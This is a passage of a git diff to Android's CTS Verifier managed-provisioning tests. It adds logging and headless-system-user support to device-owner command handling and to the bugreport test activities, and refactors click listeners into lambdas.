+                    Log.d(TAG, "Granting permission using " + mDpm);
                     mDpm.setPermissionGrantState(mAdmin, getPackageName(),
                             intent.getStringExtra(EXTRA_PERMISSION),
                             intent.getIntExtra(EXTRA_GRANT_STATE,
@@ -427,14 +436,14 @@
                             PackageManager.DONT_KILL_APP);
                 } break;
                 case COMMAND_SET_ALWAYS_ON_VPN: {
-                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                    if (!isDeviceOwnerAppOrEquivalent(getPackageName())) {
                         return;
                     }
                     mDpm.setAlwaysOnVpnPackage(mAdmin, getPackageName(),
                             false /* lockdownEnabled */);
                 } break;
                 case COMMAND_CLEAR_ALWAYS_ON_VPN: {
-                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                    if (!isDeviceOwnerAppOrEquivalent(getPackageName())) {
                         return;
                     }
                     mDpm.setAlwaysOnVpnPackage(mAdmin, null /* vpnPackage */,
@@ -454,40 +463,39 @@
                     mDpm.setRecommendedGlobalProxy(mAdmin, null);
                 } break;
                 case COMMAND_INSTALL_CA_CERT: {
-                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                    if (!isDeviceOwnerAppOrEquivalent(getPackageName())) {
                         return;
                     }
                     mDpm.installCaCert(mAdmin, TEST_CA.getBytes());
                 } break;
                 case COMMAND_CLEAR_CA_CERT: {
-                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                    if (!isDeviceOwnerAppOrEquivalent(getPackageName())) {
                         return;
                     }
                     mDpm.uninstallCaCert(mAdmin, TEST_CA.getBytes());
                 } break;
                 case COMMAND_SET_MAXIMUM_PASSWORD_ATTEMPTS: {
-                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
-                        return;
-                    }
-                    mDpm.setMaximumFailedPasswordsForWipe(mAdmin, 100);
+                    if (!isDeviceOwner()) return;
+                    int max = 100;
+                    Log.d(TAG, "Setting maximum password attempts to " + max + " using" + mDpm);
+                    mDpm.setMaximumFailedPasswordsForWipe(mAdmin, max);
                 } break;
                 case COMMAND_CLEAR_MAXIMUM_PASSWORD_ATTEMPTS: {
-                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
-                        return;
-                    }
+                    if (!isDeviceOwner()) return;
+                    Log.d(TAG, "Clearing maximum password attempts using" + mDpm);
                     mDpm.setMaximumFailedPasswordsForWipe(mAdmin, 0);
                 } break;
                 case COMMAND_SET_DEFAULT_IME: {
-                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
-                        return;
-                    }
+                    if (!isDeviceOwner()) return;
+                    Log.d(TAG, "Setting " + Settings.Secure.DEFAULT_INPUT_METHOD + " using "
+                            + mDpm);
                     mDpm.setSecureSetting(mAdmin, Settings.Secure.DEFAULT_INPUT_METHOD,
                             getPackageName());
                 } break;
                 case COMMAND_CLEAR_DEFAULT_IME: {
-                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
-                        return;
-                    }
+                    if (!isDeviceOwner()) return;
+                    Log.d(TAG, "Clearing " + Settings.Secure.DEFAULT_INPUT_METHOD + " using "
+                            + mDpm);
                     mDpm.setSecureSetting(mAdmin, Settings.Secure.DEFAULT_INPUT_METHOD, null);
                 } break;
                 case COMMAND_CREATE_MANAGED_USER:{
@@ -499,8 +507,15 @@
                     UserHandle userHandle = mDpm.createAndManageUser(mAdmin, "managed user", mAdmin,
                             extras,
                             SKIP_SETUP_WIZARD | MAKE_USER_EPHEMERAL);
+                    Log.i(TAG, "Created user " + userHandle + "; setting affiliation ids to "
+                            + DeviceAdminTestReceiver.AFFILIATION_ID);
                     mDpm.setAffiliationIds(mAdmin,
                             Collections.singleton(DeviceAdminTestReceiver.AFFILIATION_ID));
+                    // TODO(b/204483021): move to helper class / restore after user is logged out
+                    if (UserManager.isHeadlessSystemUserMode()) {
+                        mAm.setStopUserOnSwitch(ActivityManager.STOP_USER_ON_SWITCH_FALSE);
+                    }
+                    Log.d(TAG, "Starting user " + userHandle);
                     mDpm.startUserInBackground(mAdmin, userHandle);
                 } break;
                 case COMMAND_CREATE_MANAGED_USER_WITHOUT_SETUP:{
@@ -546,6 +561,7 @@
                 case COMMAND_SET_REQUIRED_PASSWORD_COMPLEXITY: {
                     int complexity = intent.getIntExtra(EXTRA_VALUE,
                             DevicePolicyManager.PASSWORD_COMPLEXITY_NONE);
+                    Log.d(TAG, "calling setRequiredPasswordComplexity(" + complexity + ")");
                     mDpm.setRequiredPasswordComplexity(complexity);
                 }
             }
@@ -556,7 +572,37 @@
         }
     }
 
+    /**
+     * Checks if {@code CtsVerifier} is the device owner.
+     */
+    private boolean isDeviceOwner() {
+        // Cannot use mDpm as it would be the DPM of the current user on headless system user mode,
+        // which would return false
+        DevicePolicyManager dpm = TestAppSystemServiceFactory.getDevicePolicyManager(this,
+                DeviceAdminTestReceiver.class, /* forDeviceOwner= */ true);
+        boolean isIt = dpm.isDeviceOwnerApp(getPackageName());
+        Log.v(TAG, "is " + getPackageName() + " DO, using " + dpm + "? " + isIt);
+        return isIt;
+    }
+
+    /**
+     * Checks if the {@code packageName} is a device owner app, or a profile owner app in the
+     * headless system user mode.
+      */
+    private boolean isDeviceOwnerAppOrEquivalent(String packageName) {
+        return mDpm.isDeviceOwnerApp(packageName)
+                || (UserManager.isHeadlessSystemUserMode() && mDpm.isProfileOwnerApp(packageName));
+    }
+
     private void installHelperPackage() throws Exception {
+        if (UserManager.isHeadlessSystemUserMode()) {
+            // App was already installed on user 0 (as instructed), so we just install it for the
+            // current user - installing directly to current user would be harder as it would
+            // require a custom ContentProvider to push the APK into a secondary user using adb
+            Log.i(TAG, "installing existing helper app (" + HELPER_APP_PKG + ") using " + mDpm);
+            mDpm.installExistingPackage(mAdmin, HELPER_APP_PKG);
+            return;
+        }
         LogAndSelfUnregisterBroadcastReceiver.register(this, ACTION_INSTALL_COMPLETE);
         final PackageInstaller packageInstaller = getPackageManager().getPackageInstaller();
         final PackageInstaller.Session session = packageInstaller.openSession(
@@ -594,6 +640,7 @@
     }
 
     private void clearAllPoliciesAndRestrictions() throws Exception {
+        Log.d(TAG, "clearAllPoliciesAndRestrictions() started");
         clearProfileOwnerRelatedPolicies();
         clearPolicyTransparencyUserRestriction(
                 PolicyTransparencyTestListActivity.MODE_DEVICE_OWNER);
@@ -632,6 +679,7 @@
 
         // Must wait until package is uninstalled to reset affiliation ids, otherwise the package
         // cannot be removed on headless system user mode (as caller must be an affiliated PO)
+        Log.d(TAG, "resetting affiliation ids");
         mDpm.setAffiliationIds(mAdmin, Collections.emptySet());
 
         removeManagedProfile();
@@ -639,6 +687,7 @@
                 EnterprisePrivacyTestDefaultAppActivity.COMPONENT_NAME,
                 PackageManager.COMPONENT_ENABLED_STATE_DEFAULT,
                 PackageManager.DONT_KILL_APP);
+        Log.d(TAG, "clearAllPoliciesAndRestrictions() finished");
     }
 
     private void clearProfileOwnerRelatedPoliciesAndRestrictions(int mode) {
@@ -647,11 +696,13 @@
     }
 
     private void clearProfileOwnerRelatedPolicies() {
+        Log.d(TAG, "clearProfileOwnerRelatedPolicies() started");
         mDpm.setKeyguardDisabledFeatures(mAdmin, 0);
         mDpm.setPasswordQuality(mAdmin, 0);
         mDpm.setMaximumTimeToLock(mAdmin, 0);
         mDpm.setPermittedAccessibilityServices(mAdmin, null);
         mDpm.setPermittedInputMethods(mAdmin, null);
+        Log.d(TAG, "clearProfileOwnerRelatedPolicies() finished");
     }
 
     private void clearPolicyTransparencyUserRestriction(int mode) {
@@ -662,7 +713,8 @@
     }
 
     private void removeManagedProfile() {
-        for (final UserHandle userHandle : mUm.getUserProfiles()) {
+        for (UserHandle userHandle : mUm.getUserProfiles()) {
+            Log.d(TAG, "removing managed profile for " + userHandle);
             mDpm.removeUser(mAdmin, userHandle);
         }
     }
@@ -685,6 +737,8 @@
 
     private static Intent createSetUserRestrictionIntent(String restriction, boolean enforced,
             boolean forceCurrentUserDpm) {
+        Log.d(TAG, "createSetUserRestrictionIntent(): restriction=" + restriction
+                + ", enforced=" + enforced + ", forceCurrentUserDpm=" + forceCurrentUserDpm);
         Intent intent = new Intent(ACTION_EXECUTE_COMMAND);
         if (forceCurrentUserDpm) {
             intent.putExtra(EXTRA_USE_CURRENT_USER_DPM, true);
@@ -726,6 +780,11 @@
         UserHandle userHandle = mDpm.createAndManageUser(mAdmin, "managed user", mAdmin,
                 extras,
                 SKIP_SETUP_WIZARD | MAKE_USER_EPHEMERAL);
+        // TODO(b/204483021): move to helper class / restore after user is logged out
+        if (UserManager.isHeadlessSystemUserMode()) {
+            mAm.setStopUserOnSwitch(ActivityManager.STOP_USER_ON_SWITCH_FALSE);
+        }
+        Log.d(TAG, "Switching to user " + userHandle);
         mDpm.switchUser(mAdmin, userHandle);
     }
 
@@ -739,4 +798,12 @@
 
         return resolveInfo.activityInfo.packageName;
     }
+
+    static Intent createIntentForDisablingKeyguardOrStatusBar(Context context, String command,
+            boolean disabled) {
+        return new Intent(context, CommandReceiverActivity.class)
+                .putExtra(CommandReceiverActivity.EXTRA_USE_CURRENT_USER_DPM, true)
+                .putExtra(CommandReceiverActivity.EXTRA_COMMAND, command)
+                .putExtra(CommandReceiverActivity.EXTRA_ENFORCED, disabled);
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
index bb1d341..4b5bd53 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceAdminTestReceiver.java
@@ -43,6 +43,7 @@
 
 import java.util.Collections;
 import java.util.HashSet;
+import java.util.List;
 import java.util.Set;
 import java.util.function.Consumer;
 
@@ -74,16 +75,20 @@
         if (DeviceAdminReceiverUtils.disableSelf(context, intent)) return;
         if (DeviceOwnerHelper.runManagerMethod(this, context, intent)) return;
 
+        DevicePolicyManager dpm = getManager(context);
         String action = intent.getAction();
-        Log.d(TAG, "onReceive(): user=" + UserHandle.myUserId() + ", action=" + action);
+        Log.d(TAG, "onReceive(): user=" + UserHandle.myUserId() + ", action=" + action
+                + ", EXTRA_USER=" + intent.getExtra(Intent.EXTRA_USER)
+                + ", dpm=" + dpm);
 
         // Must set affiliation on headless system user, otherwise some operations in the current
         // user (which is PO) won't be allowed (like uininstalling a package)
         if (ACTION_DEVICE_ADMIN_ENABLED.equals(action) && UserManager.isHeadlessSystemUserMode()) {
-            Set<String> ids = new HashSet<>();
-            ids.add("affh!");
+            Set<String> ids = new HashSet<>(1);
+            ids.add(DeviceAdminTestReceiver.AFFILIATION_ID);
             Log.i(TAG, "Setting affiliation ids to " + ids);
-            getManager(context).setAffiliationIds(getWho(context), ids);
+            dpm.setAffiliationIds(getWho(context), ids);
+            Log.i(TAG, "Is affiliated: " + dpm.isAffiliatedUser());
         }
 
         super.onReceive(context, intent);
@@ -133,7 +138,8 @@
 
     @Override
     public void onEnabled(Context context, Intent intent) {
-        Log.i(TAG, "Device admin enabled");
+        int myUserId = UserHandle.myUserId();
+        Log.i(TAG, "Device admin enabled on user " + myUserId);
         if (intent.getBooleanExtra(EXTRA_MANAGED_USER_TEST, false)) {
             DevicePolicyManager dpm = context.getSystemService(DevicePolicyManager.class);
             ComponentName admin = getReceiverComponentName();
@@ -146,7 +152,7 @@
             bindPrimaryUserService(context, iCrossUserService -> {
                 try {
                     UserHandle userHandle = Process.myUserHandle();
-                    Log.d(TAG, "calling switchUser(" + userHandle + ")");
+                    Log.d(TAG, "calling switchUser(" + userHandle + ") from " + myUserId);
                     iCrossUserService.switchUser(userHandle);
                 } catch (RemoteException re) {
                     Log.e(TAG, "Error when calling primary user", re);
@@ -247,8 +253,10 @@
     private void bindPrimaryUserService(Context context, Consumer<ICrossUserService> consumer) {
         DevicePolicyManager devicePolicyManager = context.getSystemService(
                 DevicePolicyManager.class);
-        UserHandle primaryUser = devicePolicyManager.getBindDeviceAdminTargetUsers(
-                getReceiverComponentName()).get(0);
+        List<UserHandle> adminUsers = devicePolicyManager.getBindDeviceAdminTargetUsers(
+                getReceiverComponentName());
+        Log.d(TAG, "bindPrimaryUserService(): admins=" + adminUsers);
+        UserHandle primaryUser = adminUsers.get(0);
 
         Log.d(TAG, "Calling primary user: " + primaryUser);
         final ServiceConnection serviceConnection = new ServiceConnection() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
index 6b16e72..449900c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerPositiveTestActivity.java
@@ -18,6 +18,7 @@
 
 import static android.os.UserHandle.myUserId;
 
+import static com.android.cts.verifier.managedprovisioning.CommandReceiverActivity.createIntentForDisablingKeyguardOrStatusBar;
 import static com.android.cts.verifier.managedprovisioning.Utils.createInteractiveTestItem;
 
 import android.app.Activity;
@@ -31,9 +32,9 @@
 import android.provider.Settings;
 import android.util.Log;
 import android.view.View;
-import android.view.View.OnClickListener;
 
 import com.android.bedstead.dpmwrapper.TestAppSystemServiceFactory;
+import com.android.compatibility.common.util.CddTest;
 import com.android.cts.verifier.ArrayTestListAdapter;
 import com.android.cts.verifier.IntentDrivenTestActivity.ButtonInfo;
 import com.android.cts.verifier.PassFailButtons;
@@ -49,6 +50,7 @@
  * adb shell dpm set-device-owner
  *  'com.android.cts.verifier/com.android.cts.verifier.managedprovisioning.DeviceAdminTestReceiver'
  */
+@CddTest(requirement="7.7")
 public class DeviceOwnerPositiveTestActivity extends PassFailButtons.TestListActivity {
     private static final String TAG = "DeviceOwnerPositiveTestActivity";
 
@@ -101,7 +103,7 @@
 
         if (ACTION_CHECK_DEVICE_OWNER.equals(getIntent().getAction())) {
             DevicePolicyManager dpm = TestAppSystemServiceFactory.getDevicePolicyManager(this,
-                    DeviceAdminTestReceiver.class);
+                    DeviceAdminTestReceiver.class, /* forDeviceOwner= */ true);
             if (dpm.isDeviceOwnerApp(getPackageName())) {
                 // Set DISALLOW_ADD_USER on behalf of ManagedProvisioning.
                 dpm.addUserRestriction(DeviceAdminTestReceiver.getReceiverComponentName(),
@@ -162,25 +164,25 @@
         setTestListAdapter(adapter);
 
         View setDeviceOwnerButton = findViewById(R.id.set_device_owner_button);
-        setDeviceOwnerButton.setOnClickListener(new OnClickListener() {
-            @Override
-            public void onClick(View v) {
-                StringBuilder builder = new StringBuilder();
-                if (UserManager.isHeadlessSystemUserMode()) {
-                    builder.append(getString(R.string.grant_headless_system_user_permissions));
-                }
-
-                String message = builder.append(getString(R.string.set_device_owner_dialog_text))
-                        .toString();
-                Log.i(TAG, message);
-                new AlertDialog.Builder(
-                        DeviceOwnerPositiveTestActivity.this)
-                        .setIcon(android.R.drawable.ic_dialog_info)
-                        .setTitle(R.string.set_device_owner_dialog_title)
-                        .setMessage(message)
-                        .setPositiveButton(android.R.string.ok, null)
-                        .show();
+        setDeviceOwnerButton.setOnClickListener((v) -> {
+            StringBuilder builder = new StringBuilder();
+            int messageResId;
+            if (UserManager.isHeadlessSystemUserMode()) {
+                builder.append(getString(R.string.grant_headless_system_user_permissions));
+                messageResId = R.string.set_device_owner_headless_dialog_text;
+            } else {
+                messageResId = R.string.set_device_owner_dialog_text;
             }
+
+            String message = builder.append(getString(messageResId)).toString();
+            Log.i(TAG, message);
+            new AlertDialog.Builder(
+                    DeviceOwnerPositiveTestActivity.this)
+                    .setIcon(android.R.drawable.ic_dialog_info)
+                    .setTitle(R.string.set_device_owner_dialog_title)
+                    .setMessage(message)
+                    .setPositiveButton(android.R.string.ok, null)
+                    .show();
         });
 
     }
@@ -353,8 +355,7 @@
         }
 
         // DISALLOW_USB_FILE_TRANSFER
-        // TODO(b/189282625): replace FEATURE_WATCH with a more specific feature
-        if (!packageManager.hasSystemFeature(PackageManager.FEATURE_WATCH)) {
+        if (FeatureUtil.isUsbFileTransferSupported(this)) {
             adapter.add(createInteractiveTestItem(this, DISALLOW_USB_FILE_TRANSFER_ID,
                     R.string.device_owner_disallow_usb_file_transfer_test,
                     R.string.device_owner_disallow_usb_file_transfer_test_info,
@@ -378,32 +379,35 @@
                     new ButtonInfo[] {
                             new ButtonInfo(
                                     R.string.device_owner_disable_statusbar_button,
-                                    createDeviceOwnerIntentWithBooleanParameter(
+                                    createIntentForDisablingKeyguardOrStatusBar(this,
                                             CommandReceiverActivity.COMMAND_SET_STATUSBAR_DISABLED,
-                                                    true)),
+                                            /* disabled= */ true)),
                             new ButtonInfo(
                                     R.string.device_owner_reenable_statusbar_button,
-                                    createDeviceOwnerIntentWithBooleanParameter(
+                                    createIntentForDisablingKeyguardOrStatusBar(this,
                                             CommandReceiverActivity.COMMAND_SET_STATUSBAR_DISABLED,
-                                                    false))}));
+                                            /* disabled= */ false))
+                    }));
         }
 
         // setKeyguardDisabled
-        if (isKeyguardShownWhenUserDoesntHaveCredentials() && Utils.isLockscreenSupported(this)) {
+        if (FeatureUtil.isKeyguardShownWhenUserDoesntHaveCredentials(this)
+                && Utils.isLockscreenSupported(this)) {
             adapter.add(createInteractiveTestItem(this, DISABLE_KEYGUARD_TEST_ID,
                     R.string.device_owner_disable_keyguard_test,
                     R.string.device_owner_disable_keyguard_test_info,
                     new ButtonInfo[] {
                             new ButtonInfo(
                                     R.string.device_owner_disable_keyguard_button,
-                                    createDeviceOwnerIntentWithBooleanParameter(
+                                    createIntentForDisablingKeyguardOrStatusBar(this,
                                             CommandReceiverActivity.COMMAND_SET_KEYGUARD_DISABLED,
-                                                    true)),
+                                            /* disabled= */ true)),
                             new ButtonInfo(
                                     R.string.device_owner_reenable_keyguard_button,
-                                    createDeviceOwnerIntentWithBooleanParameter(
+                                    createIntentForDisablingKeyguardOrStatusBar(this,
                                             CommandReceiverActivity.COMMAND_SET_KEYGUARD_DISABLED,
-                                                    false))}));
+                                            /* disabled= */ false))
+                    }));
         }
 
         // setLockTaskFeatures
@@ -504,20 +508,20 @@
                     R.string.device_owner_disallow_user_switch,
                     R.string.device_owner_disallow_user_switch_info,
                     new ButtonInfo[]{
-                            new ButtonInfo(
-                                    R.string.device_owner_disallow_user_switch_create_user,
+                            new ButtonInfo(R.string.device_owner_disallow_user_switch_create_user,
                                     createCreateManagedUserWithoutSetupIntent()),
-                            new ButtonInfo(
-                                    R.string.device_owner_user_restriction_set,
-                                    CommandReceiverActivity.createSetCurrentUserRestrictionIntent(
-                                            UserManager.DISALLOW_USER_SWITCH, true)),
-                            new ButtonInfo(
-                                    R.string.device_owner_settings_go,
+                            new ButtonInfo(R.string.device_owner_user_restriction_set,
+                                    CommandReceiverActivity
+                                            .createSetDeviceOwnerUserRestrictionIntent(
+                                                    UserManager.DISALLOW_USER_SWITCH,
+                                                    /* enforced= */ true)),
+                            new ButtonInfo(R.string.device_owner_settings_go,
                                     new Intent(Settings.ACTION_USER_SETTINGS)),
-                            new ButtonInfo(
-                                    R.string.device_owner_user_restriction_unset,
-                                    CommandReceiverActivity.createSetCurrentUserRestrictionIntent(
-                                            UserManager.DISALLOW_USER_SWITCH, false))
+                            new ButtonInfo(R.string.device_owner_user_restriction_unset,
+                                    CommandReceiverActivity
+                                            .createSetDeviceOwnerUserRestrictionIntent(
+                                                    UserManager.DISALLOW_USER_SWITCH,
+                                                    /* enforced= */ false))
             }));
 
             // DISALLOW_REMOVE_USER
@@ -635,12 +639,6 @@
                         CommandReceiverActivity.COMMAND_REMOVE_DEVICE_OWNER);
     }
 
-    private Intent createDeviceOwnerIntentWithBooleanParameter(String command, boolean value) {
-        return new Intent(this, CommandReceiverActivity.class)
-                .putExtra(CommandReceiverActivity.EXTRA_COMMAND, command)
-                .putExtra(CommandReceiverActivity.EXTRA_ENFORCED, value);
-    }
-
     private Intent createSetUserIconIntent(int iconRes) {
         return new Intent(this, CommandReceiverActivity.class)
                 .putExtra(CommandReceiverActivity.EXTRA_COMMAND,
@@ -712,6 +710,7 @@
 
     private Intent createSetRequiredPasswordComplexityIntent(int complexity) {
         return new Intent(this, CommandReceiverActivity.class)
+                .putExtra(CommandReceiverActivity.EXTRA_USE_CURRENT_USER_DPM, true)
                 .putExtra(CommandReceiverActivity.EXTRA_COMMAND,
                         CommandReceiverActivity.COMMAND_SET_REQUIRED_PASSWORD_COMPLEXITY)
                 .putExtra(CommandReceiverActivity.EXTRA_VALUE, complexity);
@@ -721,11 +720,7 @@
         // Watches don't support the status bar so this is an ok proxy, but this is not the most
         // general test for that. TODO: add a test API to do a real check for status bar support.
         return !getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH)
-                && !isAutomotive() && !isTelevision();
-    }
-
-    private boolean isKeyguardShownWhenUserDoesntHaveCredentials() {
-        return !isAutomotive();
+                && !isTelevision();
     }
 
     private boolean isSwipeToUnlockSupported() {
@@ -733,7 +728,7 @@
     }
 
     private boolean isAutomotive() {
-        return getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+        return FeatureUtil.isAutomotive(this);
     }
 
     private boolean isTelevision() {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java
index 498e7d8..4a4eae4 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/DeviceOwnerRequestingBugreportTestActivity.java
@@ -16,6 +16,8 @@
 
 package com.android.cts.verifier.managedprovisioning;
 
+import static android.os.UserHandle.myUserId;
+
 import static com.android.cts.verifier.managedprovisioning.Utils.createInteractiveTestItem;
 
 import android.app.Activity;
@@ -24,8 +26,9 @@
 import android.content.Intent;
 import android.database.DataSetObserver;
 import android.os.Bundle;
+import android.os.UserManager;
+import android.util.Log;
 import android.view.View;
-import android.view.View.OnClickListener;
 
 import com.android.bedstead.dpmwrapper.TestAppSystemServiceFactory;
 import com.android.cts.verifier.ArrayTestListAdapter;
@@ -46,11 +49,20 @@
     private static final String TAG = "DeviceOwnerRequestingBugreportTestActivity";
 
     private static final String ACTION_CHECK_DEVICE_OWNER_FOR_REQUESTING_BUGREPORT =
-            "com.android.cts.verifier.managedprovisioning.action" +
-            ".CHECK_DEVICE_OWNER_FOR_REQUESTING_BUGREPORT";
+            "com.android.cts.verifier.managedprovisioning.action"
+                    + ".CHECK_DEVICE_OWNER_FOR_REQUESTING_BUGREPORT";
+    private static final String ACTION_CHECK_PROFILE_OWNER_FOR_REQUESTING_BUGREPORT =
+            "com.android.cts.verifier.managedprovisioning.action"
+                    + ".CHECK_PROFILE_OWNER_FOR_REQUESTING_BUGREPORT";
+    private static final String ACTION_CHECK_CURRENT_USER_AFFILIATED_FOR_REQUESTING_BUGREPORT =
+            "com.android.cts.verifier.managedprovisioning.action"
+                    + ".CHECK_CURRENT_USER_AFFILIATED_FOR_REQUESTING_BUGREPORT";
+
     static final String EXTRA_TEST_ID = "extra-test-id";
 
     private static final String CHECK_DEVICE_OWNER_TEST_ID = "CHECK_DEVICE_OWNER";
+    private static final String CHECK_PROFILE_OWNER_TEST_ID = "CHECK_PROFILE_OWNER";
+    private static final String CHECK_USER_AFFILIATED_TEST_ID = "CHECK_USER_AFFILIATED";
     private static final String DEVICE_ADMIN_SETTINGS_ID = "DEVICE_ADMIN_SETTINGS";
     private static final String BUGREPORT_SHARING_DECLINED_WHILE_BEING_TAKEN =
             "BUGREPORT_SHARING_DECLINED_WHILE_RUNNING";
@@ -65,18 +77,58 @@
     @Override
     protected void onCreate(Bundle savedInstanceState) {
         super.onCreate(savedInstanceState);
-        if (ACTION_CHECK_DEVICE_OWNER_FOR_REQUESTING_BUGREPORT.equals(getIntent().getAction())) {
-            DevicePolicyManager dpm = TestAppSystemServiceFactory.getDevicePolicyManager(this,
-                    DeviceAdminTestReceiver.class);
-            if (dpm.isDeviceOwnerApp(getPackageName())) {
-                TestResult.setPassedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
-                        null, null);
-            } else {
-                TestResult.setFailedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
-                        getString(R.string.device_owner_incorrect_device_owner), null);
+
+        String action = getIntent().getAction();
+        Log.d(TAG, "onCreate(): action = " + action);
+        boolean validAction = true;
+        if (action != null) {
+            DevicePolicyManager dpm = null;
+            switch (action) {
+                case ACTION_CHECK_DEVICE_OWNER_FOR_REQUESTING_BUGREPORT:
+                    dpm = TestAppSystemServiceFactory.getDevicePolicyManager(this,
+                            DeviceAdminTestReceiver.class, /* forDeviceOwner= */ true);
+                    if (dpm.isDeviceOwnerApp(getPackageName())) {
+                        TestResult.setPassedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
+                                null, null);
+                    } else {
+                        TestResult.setFailedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
+                                getString(R.string.device_owner_incorrect_device_owner, myUserId()),
+                                null);
+                    }
+                    break;
+                case ACTION_CHECK_PROFILE_OWNER_FOR_REQUESTING_BUGREPORT:
+                    dpm = getSystemService(DevicePolicyManager.class);
+                    if (dpm.isProfileOwnerApp(getPackageName())) {
+                        TestResult.setPassedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
+                                null, null);
+                    } else {
+                        TestResult.setFailedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
+                                getString(R.string.device_owner_incorrect_profile_owner,
+                                        myUserId()),
+                                null);
+                    }
+                    break;
+                case ACTION_CHECK_CURRENT_USER_AFFILIATED_FOR_REQUESTING_BUGREPORT:
+                    dpm = getSystemService(DevicePolicyManager.class);
+                    if (dpm.isAffiliatedUser()) {
+                        TestResult.setPassedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
+                                null, null);
+                    } else {
+                        TestResult.setFailedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
+                                getString(R.string.device_owner_user_not_affiliated, myUserId()),
+                                null);
+                    }
+                    break;
+                default:
+                    Log.w(TAG, "invalid action on intent: " + action);
+                    validAction = false;
+                    break;
             }
-            finish();
-            return;
+            if (validAction) {
+                Log.d(TAG, "Finishing activity");
+                finish();
+                return;
+            }
         }
 
         // Tidy up in case previous run crashed.
@@ -103,28 +155,34 @@
         setTestListAdapter(adapter);
 
         View setDeviceOwnerButton = findViewById(R.id.set_device_owner_button);
-        setDeviceOwnerButton.setOnClickListener(new OnClickListener() {
-            @Override
-            public void onClick(View v) {
-                new AlertDialog.Builder(
-                        DeviceOwnerRequestingBugreportTestActivity.this)
+        setDeviceOwnerButton.setOnClickListener((v) -> new AlertDialog.Builder(
+                DeviceOwnerRequestingBugreportTestActivity.this)
                         .setIcon(android.R.drawable.ic_dialog_info)
                         .setTitle(R.string.set_device_owner_dialog_title)
-                        .setMessage(R.string.set_device_owner_dialog_text)
+                        .setMessage(UserManager.isHeadlessSystemUserMode()
+                                ? R.string.set_device_owner_headless_dialog_text
+                                : R.string.set_device_owner_dialog_text)
                         .setPositiveButton(android.R.string.ok, null)
-                        .show();
-            }
-        });
+                        .show());
     }
 
     @Override
     public void finish() {
-        // If this activity was started for checking device owner status, then no need to do any
-        // tear down.
-        if (!ACTION_CHECK_DEVICE_OWNER_FOR_REQUESTING_BUGREPORT.equals(getIntent().getAction())) {
-            // Pass and fail buttons are known to call finish() when clicked,
-            // and this is when we want to remove the device owner.
-            startActivity(createTearDownIntent());
+        String action = getIntent().getAction();
+        switch(action != null ? action : "") {
+            case ACTION_CHECK_DEVICE_OWNER_FOR_REQUESTING_BUGREPORT:
+            case ACTION_CHECK_PROFILE_OWNER_FOR_REQUESTING_BUGREPORT:
+            case ACTION_CHECK_CURRENT_USER_AFFILIATED_FOR_REQUESTING_BUGREPORT:
+                // If this activity was started for checking device / profile owner status, then no
+                // need to do any tear down.
+                Log.d(TAG, "NOT starting createTearDownIntent() due to " + action);
+                break;
+            default:
+                // Pass and fail buttons are known to call finish() when clicked,
+                // and this is when we want to remove the device owner.
+                Log.d(TAG, "Starting createTearDownIntent() due to " + action);
+                startActivity(createTearDownIntent());
+                break;
         }
         super.finish();
     }
@@ -134,6 +192,16 @@
                 R.string.device_owner_check_device_owner_test,
                 new Intent(ACTION_CHECK_DEVICE_OWNER_FOR_REQUESTING_BUGREPORT)
                         .putExtra(EXTRA_TEST_ID, getIntent().getStringExtra(EXTRA_TEST_ID))));
+        if (UserManager.isHeadlessSystemUserMode()) {
+            adapter.add(createTestItem(this, CHECK_PROFILE_OWNER_TEST_ID,
+                    R.string.device_owner_check_profile_owner_test,
+                    new Intent(ACTION_CHECK_PROFILE_OWNER_FOR_REQUESTING_BUGREPORT)
+                            .putExtra(EXTRA_TEST_ID, getIntent().getStringExtra(EXTRA_TEST_ID))));
+            adapter.add(createTestItem(this, CHECK_USER_AFFILIATED_TEST_ID,
+                    R.string.device_owner_check_user_affiliation_test,
+                    new Intent(ACTION_CHECK_CURRENT_USER_AFFILIATED_FOR_REQUESTING_BUGREPORT)
+                            .putExtra(EXTRA_TEST_ID, getIntent().getStringExtra(EXTRA_TEST_ID))));
+        }
 
         // bugreport sharing declined while running test
         adapter.add(createInteractiveTestItem(this, BUGREPORT_SHARING_DECLINED_WHILE_BEING_TAKEN,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
